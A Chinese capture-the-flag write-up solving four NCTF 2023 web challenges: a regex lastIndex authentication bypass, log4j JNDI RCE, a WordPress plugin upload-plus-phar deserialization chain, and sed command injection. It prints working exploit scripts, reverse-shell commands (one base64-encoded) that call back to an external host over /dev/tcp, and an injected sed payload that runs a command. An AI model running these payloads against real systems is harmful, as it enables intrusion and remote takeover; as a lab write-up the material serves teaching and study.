[NCTF 2023] web题解

文章目录

    • WaitWhat?
    • logging
    • ez_wordpress
    • WebshellGenerator


WaitWhat?

源码


const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80function escapeRegExp(string) {return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}let users = {"admin": "admin","user": "user","guest": "guest",'hacker':'hacker'
}let banned_users = ['hacker']// 你不准getflag
banned_users.push("admin")let banned_users_regex = null;
function build_banned_users_regex() {let regex_string = ""for (let username of banned_users) {regex_string += "^" + escapeRegExp(username) + "$" + "|"}regex_string = regex_string.substring(0, regex_string.length - 1)banned_users_regex = new RegExp(regex_string, "g")
}//鉴权中间件
function requireLogin(req, res, next) {let username = req.body.usernamelet password = req.body.passwordif (!username || !password) {res.send("用户名或密码不能为空")return}if (typeof username !== "string" || typeof password !== "string") {res.send("用户名或密码不合法")return}// 基于正则技术的封禁用户匹配系统的设计与实现let test1 = banned_users_regex.test(username)console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)if (test1) {console.log("第一个判断匹配到封禁用户:",username)res.send("用户'"+username + "'被封禁,无法鉴权!")return}// 基于in关键字的封禁用户匹配系统的设计与实现let test2 = (username in banned_users)console.log(`使用in关键字匹配${username}的结果为:${test2}`)if (test2){console.log("第二个判断匹配到封禁用户:",username)res.send("用户'"+username + "'被封禁,无法鉴权!")return}if (username in users && users[username] === password) {next()return}res.send("用户名或密码错误,鉴权失败!")
}function registerUser(username, password) {if (typeof username !== "string" || username.length > 20) {return "用户名不合法"}if (typeof password !== "string" || password.length > 20) {return "密码不合法"}if (username in users) {return "用户已存在"}for(let existing_user in users){let existing_user_password = users[existing_user]if (existing_user_password === password){return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`}}users[username] = passwordreturn "注册成功"
}app.use(express.static('public'))// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {try {build_banned_users_regex()console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)} catch (e) {}next()
})app.post("/api/register", (req, res) => {let username = req.body.usernamelet password = req.body.passwordlet message = registerUser(username, password)res.send(message)
})app.post("/api/login", requireLogin, (req, res) => {res.send("登录成功!")
})app.post("/api/flag", requireLogin, (req, res) => {let username = req.body.usernameif (username !== "admin") {res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")return}let flag = child_process.execSync("cat flag").toString()res.end(flag)console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")res.on("finish", () => {setTimeout(() => { process.exit(0) }, 1)})return
})app.post('/api/ban_user', requireLogin, (req, res) => {let username = req.body.usernamelet ban_username = req.body.ban_usernameif(!ban_username){res.send("ban_username不能为空")return}if(username === ban_username){res.send("不能封禁自己")return}for (let name of banned_users){if (name === ban_username) {res.send("用户已经被封禁")return}}banned_users.push(ban_username)res.send("封禁成功!")
})app.get("/", (req, res) => {res.redirect("/static/index.html")
})app.listen(port, () => {console.log(`listening on port ${port}`)
})

代码很长我们分析一下:

首先定义escapeRegExp函数去进行转义,给了user数组包含四个用户和对应密码,然后定义banned_users数组并随后通过push添加admin用户为黑名单

然后看向build_banned_users_regex()函数

let banned_users_regex = null;
function build_banned_users_regex() {let regex_string = ""for (let username of banned_users) {regex_string += "^" + escapeRegExp(username) + "$" + "|"}regex_string = regex_string.substring(0, regex_string.length - 1)banned_users_regex = new RegExp(regex_string, "g")
}

对传入的username进行正则匹配,然后截断也就是/^admin$/,最后启用了参数g

和它有关的是lastIndex属性

RegExp.lastIndex

lastIndex 是正则表达式的一个可读可写的整型属性,用来指定下一次匹配的起始索引。

只有正则表达式使用了表示全局检索的 “g” 或者粘性检索的 “y” 标志时,该属性才会起作用。此时应用下面的规则:

  • 如果 lastIndex 大于字符串的长度,则 regexp.testregexp.exec 将会匹配失败,然后 lastIndex 被设置为 0。
  • 如果 lastIndex 等于或小于字符串的长度,则该正则表达式匹配从 lastIndex 位置开始的字符串。
    • 如果 regexp.testregexp.exec 匹配成功,lastIndex 会被设置为紧随最近一次成功匹配的下一个位置。
    • 如果 regexp.testregexp.exec 匹配失败,lastIndex 会被设置为 0

我们本地测试下

var re = /^admin$/g;
console.log(re.test('admin'))
console.log("第一次:"+re.lastIndex)
console.log(re.test('admin'))
console.log("第二次:"+re.lastIndex)

运行结果

在这里插入图片描述

不难发现如果正则表达式设置了全局标志, test() 的执行会改变正则表达式 lastIndex 属性。连续的执行 test() 方法,后续的执行将会从lastIndex处开始匹配字符串

我们继续往下看

//鉴权中间件
function requireLogin(req, res, next) {let username = req.body.usernamelet password = req.body.passwordif (!username || !password) {res.send("用户名或密码不能为空")return}if (typeof username !== "string" || typeof password !== "string") {res.send("用户名或密码不合法")return}// 基于正则技术的封禁用户匹配系统的设计与实现let test1 = banned_users_regex.test(username)console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)if (test1) {console.log("第一个判断匹配到封禁用户:",username)res.send("用户'"+username + "'被封禁,无法鉴权!")return}// 基于in关键字的封禁用户匹配系统的设计与实现let test2 = (username in banned_users)console.log(`使用in关键字匹配${username}的结果为:${test2}`)if (test2){console.log("第二个判断匹配到封禁用户:",username)res.send("用户'"+username + "'被封禁,无法鉴权!")return}if (username in users && users[username] === password) {next()return}res.send("用户名或密码错误,鉴权失败!")
}

requireLogin()函数起到了鉴权作用,设置了两套waf,分别是正则技术和in关键字,要想登陆成功就必须绕过waf。

第一个我们前文已经知道banned_users_regex()函数的具体执行过程,test()返回一个布尔值,由于我们刚刚测试过设置了全局标志,连续的执行 test() 方法会使其布尔值发生改变,我们往下看在app.use处发现会更新封禁用户正则信息

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {try {build_banned_users_regex()console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)} catch (e) {}next()
})

我们要让其不更新正则信息利用test()多次执行返回false的布尔值绕过第一个waf,也就是说我们要抛出异常。

我们注意到banned_users_regex()函数中escapeRegExp()定义的是接收string类型的,如果传递非字符串类型就可以实现抛出TypeError

第二个waf根据注释是基于in关键字我们来分析一下

如果指定的属性在指定的对象或其原型链中,则 in 运算符返回 true

我们本地测试下

const list = {id:'1',grade:'100',name:'rev1ve'}
console.log(list)
if('name' in list === true){console.log('name is in list!')
}

运行结果
在这里插入图片描述

说明指定的是属性,那如果是数组呢,给个示例

const banned_users = ['hacker','admin']
username='admin'
let test1 = (username in banned_users)
if(test1){console.log('waffff')
}else{console.log('success!')
}

由于没有admin属性,所以test1布尔值返回为false,也就是说这是假的waf(hhh)

接着往下看

function registerUser(username, password) {if (typeof username !== "string" || username.length > 20) {return "用户名不合法"}if (typeof password !== "string" || password.length > 20) {return "密码不合法"}if (username in users) {return "用户已存在"}for(let existing_user in users){let existing_user_password = users[existing_user]if (existing_user_password === password){return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`}}users[username] = passwordreturn "注册成功"
}

registerUser函数就是检查用户名和密码是否合法

然后就是/api/register路由和有鉴权过程的/api/login路由没有什么信息,/api/flag路由要想得到flag就得绕过waf,以admin身份登录即可,/api/ban_user路由实现抛出异常

整理一下思路:首先随便注册一个用户test,然后访问/api/ban_user路由传数组格式抛出异常绕过regex的更新,然后进行第一次访问/api/flag路由正则匹配成功,waf成功拦截,接着第二次访问/api/flag路由,正则匹配失败,成功绕过waf得到flag

脚本如下

import requestsreq=requests.Session()
url='http://117.50.175.234:9001/'req1=req.post(url+"api/register",json={"username":"test","password":"test"})
print(req1.text)req2=req.post(url+"api/ban_user",json={"username":"test","password":"test","ban_username":{"error":""}})
print(req2.text)req3=req.post(url+"api/flag",json={"username":"admin","password":"admin"})
print(req3.text)req4=req.post(url+"api/flag",json={"username":"admin","password":"admin"})
print(req4.text)

运行结果

在这里插入图片描述

logging

考点:log4j rce (CVE-2021-44228)

我们将题目给的jar文件反编译一下,找到pom.xml文件
在这里插入图片描述
可以知道是springboot框架,结合提示是log4j的远程RCE
目标就是找到注入点触发log4j的漏洞

参考wp

如何实现SpringBoot在默认配置下如何触发Log4j2 JNDI RCE(默认配置是指代码仅仅使用了Log4j2的依赖)
核心思路就是:构造⼀个畸形的HTTP数据包使得SpringBoot控制台报错

本题利用的是http请求的Accept头,接下来就是JNDI常规注入
使用工具rogue-jndi,由于之前做的log4j漏洞是htb能出网的机子(参考文章),所以本题需要修改下参数值
映射端口如下
在这里插入图片描述
运行工具

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE=}|{base64,-d}|{bash,-i}" --hostname "192.168.132.128"

在这里插入图片描述选择第三个,抓包在Accept头添加payload
然后修改一下ip地址(因为是内网穿透)

在这里插入图片描述成功反弹shell
在这里插入图片描述

ez_wordpress

打开题目,没什么收获看看hint

Hint 1: 可以思考下如何对 WordPress 进行信息收集Hint 2: 注意版本 (6.4.1) 注意一些第三方的东西Hint 3: 结合信息收集和网上已有的东西就可以自己本地搭建一个类似的环境进行测试 涉及的代码审计部分其实很少Hint 4: https://wwnt.lanzout.com/iwUdK1ir03teHint 5: upload phar + file read (ssrf) => rceHint 6: 请不要使用 burp 的 Paste from file 功能 (存在 bug) 建议手动构造 upload.html 然后浏览器选择文件抓取上传包 或者写 python 脚本上传 或者使用 yakit 

hint1应该是能通过wpscan扫出来有用的线索,刚好hint4是给的扫描结果;然后hint2说注意版本以及第三方东西,应该就是插件

那么我们看一下扫描结果

在这里插入图片描述

果然是扫出来几个插件,重点看向all-in-one-video-gallery和drag-and-drop-multiple-file-upload-contact-form-7以及对应的版本

我们根据关键词搜出来all-in-one-video-gallery插件具有ssrf和文件读取漏洞并且知道对应cve漏洞编号

在这里插入图片描述

在网上找到篇文章如何构造ssrf漏洞 参考链接

/index.php/video路由下存在dl参数,如果不为数字则对其base64解码

public function download_video() {
if ( ! isset( $_GET['dl'] ) ) {return;
}	if ( is_numeric( $_GET['dl'] ) ) {$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {$file = base64_decode( $_GET['dl'] );
}if ( empty( $file ) ) {die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );exit;
}

接下来文章就是讲解如何触发ssrf漏洞(本文不做叙述)

然后看向下面的利用未经身份验证的任意文件下载

利用代码

if ( $is_remote_file && $formatted_path == 'url' ) {         $data = @get_headers( $file, true );if ( ! empty( $data['Content-Length'] ) ) {$file_size = (int) $data[ 'Content-Length' ];          } else {               // If get_headers fails then try to fetch fileSize with curl$ch = @curl_init();if ( ! @curl_setopt( $ch, CURLOPT_URL, $file ) ) {@curl_close( $ch );@exit;}@curl_setopt( $ch, CURLOPT_NOBODY, true );@curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );@curl_setopt( $ch, CURLOPT_HEADER, true );@curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );@curl_setopt( $ch, CURLOPT_MAXREDIRS, 3 );@curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );@curl_exec( $ch );if ( ! @curl_errno( $ch ) ) {$http_status = (int) @curl_getinfo( $ch, CURLINFO_HTTP_CODE );if ( $http_status >= 200 && $http_status <= 300 ){$file_size = (int) @curl_getinfo( $ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD );}@curl_close( $ch );}}
}else{	$chunk = 1 * ( 1024 * 1024 );$nfile = @fopen( $file, 'rb' );while ( ! feof( $nfile ) ) {                 print( @fread( $nfile, $chunk ) );@ob_flush();@flush();
}
@fclose( $filen );

如果is_remote_file为真,formatted_path等于url,那么将使用 CURL 库发出请求,否则如果将使用fopen函数来读取文件。

我们看一下如何实现,&&运算符只要第一个为假表达式即为假,所以目的是让is_remote_file为假

看向下面这段代码

if ( strpos( $file, home_url() ) !== false ) {$is_remote_file = false;
}		        		if ( preg_match( '#http://#', $file ) || preg_match( '#https://#', $file ) ) {$formatted_path = 'url';
} else {$formatted_path = 'filepath';
}if ( $is_remote_file ) {$formatted_path = 'url';
}

第一个 if 语句检查 $file 变量中home_url()的出现,其中file变量是dl参数的值,home_url是 WordPress 安装的完整 URL。

如果dl参数具有 WordPress 路径的 URL,则is_remote_file的值将为false。

也就是说我们可以通过file等协议读取文件,并添加有效的url路径,例如

file://http://xxx.com/index.php

最后再base64编码一下即可

我们已经分析完怎么文件读取,结合hint5那么接下来就是如何上传phar文件
根据关键词和版本信息找到插件drag-and-drop-multiple-file-upload-contact-form-7具有XSS漏洞(本质是可以未授权上传图片)

参考文章

至于为什么思路是上传phar文件,我们结合前文分析的漏洞可以知道用协议去读取文件,当然包括phar协议

在这里插入图片描述

这篇文章直接就给了POC,大概意思就是在/wp-admin/admin-ajax.php路径进行文件上传,我们把该poc中的xss内容换成我们phar文件内容即可

那么我们先生成用来RCE的phar文件,直接用工具phpggc生成反弹shell文件

./phpggc WordPress/RCE2 system "bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'" -p phar -o ~/payload.phar

在题目访问/wp-admin/admin-ajax.php抓包

将poc复制上去,修改下文件名为4.jpg以及文件内容为phar(右键从文件粘贴)

在这里插入图片描述

测试后发现也能弹shell,不会出现出题人所说的二进制数据格式错误

当然也可以用python脚本上传文件(按照poc改的)

import requestsurl = 'http://124.71.184.68:8012/wp-admin/admin-ajax.php'headers = {'Accept': 'application/json, text/javascript, */*; q=0.01','Accept-Language': 'en-GB,en;q=0.5','Accept-Encoding': 'gzip, deflate','X-Requested-With': 'XMLHttpRequest','Connection': 'close',
}files = {'size_limit': (None, '10485760'),'action': (None, 'dnd_codedropz_upload'),'type': (None, 'click'),'upload-file': ('1.jpg', open('payload.phar', 'rb'), 'image/jpeg')
}response = requests.post(url, headers=headers, files=files)print(response.status_code)
print(response.text)

成功上传

在这里插入图片描述

然后就是文件读取,将payload编码一下

phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/1.jpg/test.txt

注意phar url的结尾必须加上 /test.txt ,因为在构造phar文件的时候执行的是 $phar-addFromString("test.txt", "test"); ,这里的路径需要与代码中的test.txt对应,否则网站会⼀直卡住

访问/index.php/video并传递参数dl去phar读取文件

在这里插入图片描述

成功反弹shell

在这里插入图片描述

想cat得到flag权限不够
尝试suid提权,发现可用命令

在这里插入图片描述

查找一下date命令如何提权

在这里插入图片描述

得到flag

在这里插入图片描述

WebshellGenerator

考点:sed命令

打开题目,大概意思就是可以生成webshell并下载下来
在这里插入图片描述
hint1给了附件,直接代码审计
index.php

<?php
function security_validate()
{foreach ($_POST as $key => $value) {if (preg_match('/\r|\n/', $value)) {die("$key 不能包含换行符!");}if (strlen($value) > 114) {die("$key 不能超过114个字符!");}}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {if ($_POST['language'] !== 'PHP') {die("PHP是最好的语言");}$method = $_POST['method'];$key = $_POST['key'];putenv("METHOD=$method") or die("你的method太复杂了!");putenv("KEY=$key") or die("你的key太复杂了!");$status_code = -1;$filename = shell_exec("sh generate.sh");if (!$filename) {die("生成失败了!");}$filename = trim($filename);header("Location: download.php?file=$filename&filename={$_POST['filename']}");exit();
}
?>

POST传参接收三个参数,如果参数language不为php,那么分别设置环境变量METHOD和KEY,执行generate.sh文件并赋值给filename,然后跳转到download.php进行文件下载

我们可以抓包看一下
在这里插入图片描述
当我们直接访问的话可以读取到该生成的文件
也就是说存在任意文件读取
在这里插入图片描述
根据hint提示我们要读取/readflag,我们分析一下如何读取
按照刚刚的测试,读取的文件路径是由$filename = shell_exec("sh generate.sh");决定,那么我们跟进一下
generate.sh

#!/bin/shset -eNEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmpsed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"realpath "$NEW_FILENAME"

可以发现是使用sed命令的-i参数,我们查找下
在这里插入图片描述可以编辑文件内容,而s/KEY/$KEY/g 是 sed 命令的替换操作部分
也就是说生成的webshell中会替换两个值
在这里插入图片描述
sed命令中可以用;来分隔指令,e参数用来命令执行
我们在参数key的地方注入,前后闭合即可

/g;e /readflag;s/

至于为什么是e而不是-e,解释如下

GNU sed中的sed -i s/hello/g;e /readflag命令中的e参数是用来执行一个外部命令的。在这个命令中,e参数后面跟着的是一个外部命令/readflag,它会被sed执行在sed命令中,-e参数用于指定一个或多个sed脚本命令,而-i参数用于直接修改文件内容。因此,我们想要在sed命令中执行一个外部命令,我们需要使用e参数而不是-e参数

在这里插入图片描述
然后再访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/311226.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机操作系统(OS)——P3内存管理

1、内存的基础知识 学习目标&#xff1a; 什么是内存&#xff1f;有何作用&#xff1f; 内存可存放数据。程序执行前__需要先放内存中才能被CPU处理__——缓和CPU与硬盘之间的速度矛盾。 【思考】在多道程序程序下&#xff0c;系统会有多个进程并发执行&#xff0c;也就是说…

【LLM】Qwen学习

安装依赖 pip install transformers4.32.0 pip install accelerate pip install tiktoken pip install einops pip install transformers_stream_generator0.0.4 pip install scipy pip install auto-gptq optimum使用 参见官方介绍 模型 模型结构 QwenBlock 打印模型 ##…

新手快速上手掌握基础排序<二>快速排序快速入门

目录 引言 一&#xff1a;快速排序qsort的简介 1.qsort是一个库函数 2.库函数的查询了解方法 3.qsort的具体使用方法 4.qsort函数使用的一些注意点 5.qsort函数的特点 6.代码实现 (1)整数数组的快速排序 &#xff08;2&#xff09;结构体的快速排序&#xff08;学…

【FileZilla的安装与使用(主动与被动模式详解,以及如何利用FileZilla搭建FTP服务器并且进行访问)】

目录 一、FileZilla介绍 1.1 简介 1.2 重要信息和功能 二、FileZilla的安装与使用 2.1 FileZilla服务端安装与配置 2.1.1 安装步骤 2.1.2 新建组 2.1.3 新建用户 2.1.4 新建目录 2.1.5 权限分配 &#xff08;1&#xff09;用户Milk权限分配 &#xff08;2&#xff…

03.MySQL的体系架构

MySQL的体系架构 一、MySQL简介二、MySQL的体系架构三、MySQL的内存结构四、MySQL的文件结构 一、MySQL简介 MySQL是一个开源的关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;由瑞典MySQL AB公司开发&#xff0c;后被Sun公司收购&#xff0c;Sun公司被Oracle…

抖音详情API:开发环境搭建与工具选择

随着短视频的流行&#xff0c;抖音已经成为了一个备受欢迎的社交媒体平台。对于开发人员而言&#xff0c;利用抖音详情API开发定制化的抖音应用具有巨大的潜力。本文将为你详细介绍开发抖音应用的开发环境搭建与工具选择&#xff0c;帮助你顺利地开始开发工作。 一、开发环境搭…

文件批量整理,文件归类整理,文件批量归类

我们每天都要面对无数的文件&#xff0c;从工作报告、个人照片到电影和音乐。如何有效地管理和归类这些文件&#xff0c;成为了我们日常生活和工作中所要处理的。今天&#xff0c;小编就给大家介绍一款简单易用的工具——文件批量改名高手&#xff0c;助你轻松实现文件批量归类…

基于JavaSpringboot+Vue实现前后端分离房屋租赁系统

基于JavaSpringbootVue实现前后端分离房屋租赁系统 作者主页 500套成品系统 联系客服任你挑选 Java毕设项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联系方式 文章目录 基于JavaSpringbootVue实现前后端分离房屋租赁系统前言介绍&#xff1a;功能设计&#xf…

力扣精选题

题目: 写出最大数 回答: let count function(a,b){ let num1 a.toString() let num2 b.toString() return (num2num1)-(num1num2) } let last arr.sort(count) let arr [18,20,33,4,5] let num last.join() console.log(last,last) 最终得出最大数字符串: …

磁盘管理,文件系统,挂载

一&#xff0c;硬盘管理 &#xff08;一&#xff09;&#xff0c;磁盘基础知识 1&#xff0c;磁盘在linux 的表现形式 一般在 /dev [rootlocalhost data]#ll /dev/sd* brw-rw---- 1 root disk 8, 0 2月 21 19:27 /dev/sda brw-rw---- 1 root disk 8, 1 2月 21 19:27 /d…

【VRTK】【VR开发】【Unity】18-VRTK与Unity UI控制的融合使用

课程配套学习项目源码资源下载 https://download.csdn.net/download/weixin_41697242/88485426?spm=1001.2014.3001.5503 【背景】 VRTK和Unity自身的UI控制包可以配合使用发挥效果。本篇就讨论这方面的实战内容。 之前可以互动的立体UI并不是传统的2D UI对象,在实际使用中…

超真实随身WiFi测评,你确定不看一下?随身WiFi靠谱吗? 看完这篇文章你就懂了?随身WiFi真实评测

用了一年多的格行随身wifi&#xff0c;屏幕都磨花了。直接看图&#xff0c;都是自己实测&#xff01; 设备是去年买的&#xff0c;到现在也快1年了&#xff0c;一直有朋友蹲后续&#xff0c;现在把后续给大家&#xff01;到底是大牌子&#xff0c;确定是不跑路的随身wifi&…